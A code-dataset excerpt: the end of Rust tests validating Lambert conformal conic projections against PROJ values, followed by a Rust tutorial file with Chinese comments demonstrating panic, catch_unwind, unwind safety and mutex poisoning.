// echo 12 40 0 0 | cct -d12 proj=lcc lat_1=33 lat_2=45 lon_0=10 -- | clip
let mut operands = [C::geo(40., 12., 0., 0.)];
let mut results = [C::raw(169863.026093938359, 4735925.219292452559, 0., 0.)];
assert!(Context::test(
op,
0,
20e-9,
0,
20e-9,
&mut operands,
&mut results
));
}
#[test]
fn one_standard_parallel_and_latitudinal_offset() {
let op = "lcc lat_1:39 lat_0:35 lon_0:10";
// Validation value from PROJ:
// echo 12 40 0 0 | cct -d12 proj=lcc lat_1=39 lat_0=35 lon_0=10 -- | clip
let mut operands = [C::geo(40., 12., 0., 0.)];
let mut results = [C::raw(170800.011728740647, 557172.361112929415, 0., 0.)];
assert!(Context::test(
op,
0,
2e-9,
0,
1e-8,
&mut operands,
&mut results
));
}
#[test]
fn two_standard_parallels_and_latitudinal_offset() {
let op = "lcc lat_1:33 lat_2:45 lat_0:35 lon_0:10";
// Validation value from PROJ:
// echo 12 40 0 0 | cct -d12 proj=lcc lat_1=33 lat_2=45 lat_0=35 lon_0=10 -- | clip
let mut operands = [C::geo(40., 12., 0., 0.)];
let mut results = [C::raw(169863.026093938359, 554155.440793916583, 0., 0.)];
assert!(Context::test(
op,
0,
2e-9,
0,
1e-9,
&mut operands,
&mut results
));
}
}
| 28.789298 | 91 | 0.483736 |
7cbac1713a385165a084ae7d6cc582561fdf81c5 | 2,937 | rs | Rust | rust/dive_into_rust/src/bin/panic.rs | lonelyhentai/workspace | 2a996af58d6b9be5d608ed040267398bcf72403b | [
"MIT"
] | 2 | 2021-04-26T16:37:38.000Z | 2022-03-15T01:26:19.000Z | rust/dive_into_rust/src/bin/panic.rs | lonelyhentai/workspace | 2a996af58d6b9be5d608ed040267398bcf72403b | [
"MIT"
] | null | null | null | rust/dive_into_rust/src/bin/panic.rs | lonelyhentai/workspace | 2a996af58d6b9be5d608ed040267398bcf72403b | [
"MIT"
] | 1 | 2022-03-15T01:26:23.000Z | 2022-03-15T01:26:23.000Z | #![allow(unreachable_code)]
fn main() {
{
// 什么是 panic
{
fn _panic_intro() {
let x: Option<i32> = None;
x.unwrap();
}
}
}
{
// panic 实现机制
{
// 在 rust 的实现机制有两种方式:unwind 和 abort
// unwind 在发生 panic 的时候,会一层一层退出函数调用栈,在此过程中栈内的局部变量还能够局部析构
// abort 方式在 panic 下会退出整个程序
// unwind 在有些情况下不能很好的实现(尤其是嵌入式平台),编译器提供选项 panic=unwind
fn _panic_impl() {
use std::panic;
panic::catch_unwind(|| {
let x: Option<i32> = None;
x.unwrap();
println!("interrupted.")
}).ok();
println!("continue to execute.");
}
_panic_impl();
}
{
// 在 FFI 场景下使用,避免未处理好的代码传入 C 导致未定义的行为
// 某些高级抽象机制需要阻止栈展开
}
}
{
// panic safety
{
// 异常安全存在四种层次的保证
/*
1. No-throw 这种层次的安全性保证了所有的异常都在内部正确地处理完毕,外部毫无影响。
2. Strong exception safety 强安全保证保证异常发生的时候,可以回滚到初始状态,不会导致
状态不一致。
3. Basic exception safety 基本异常保证保证不会导致异常泄漏。
4. No exception safety 没有任何异常保证
*/
}
{
use std::panic;
use std::panic::AssertUnwindSafe;
let mut x: Vec<i32> = vec![1];
let mut y: Vec<i32> = vec![2];
// catchunwind 要求必须满足 unwindsafe 保证
panic::catch_unwind(AssertUnwindSafe(|| {
x.push(10);
panic!("user panic");
y.push(100);
})).ok();
println!("assert unwind safe")
}
{
use std::sync::Arc;
use std::sync::Mutex;
use std::thread;
const COUNT: u32 = 1000000;
let global = Arc::new(Mutex::new(0));
let clone1 = global.clone();
let thread1 = thread::spawn(move || {
for _ in 0..COUNT {
match clone1.lock() {
Ok(mut value) => { *value+=1; },
Err(poisoned) => {
let mut value = poisoned.into_inner();
*value+=1;
}
}
}
});
let clone2 = global.clone();
let thread2 = thread::spawn(move || {
for _ in 0..COUNT {
let mut value = clone2.lock().unwrap();
*value -= 1;
if *value < 100000 {
println!("make a panic");
panic!("");
}
}
});
thread1.join().ok();
thread2.join().ok();
println!("final value: {:?}",global);
}
}
} | 30.278351 | 72 | 0.391216 |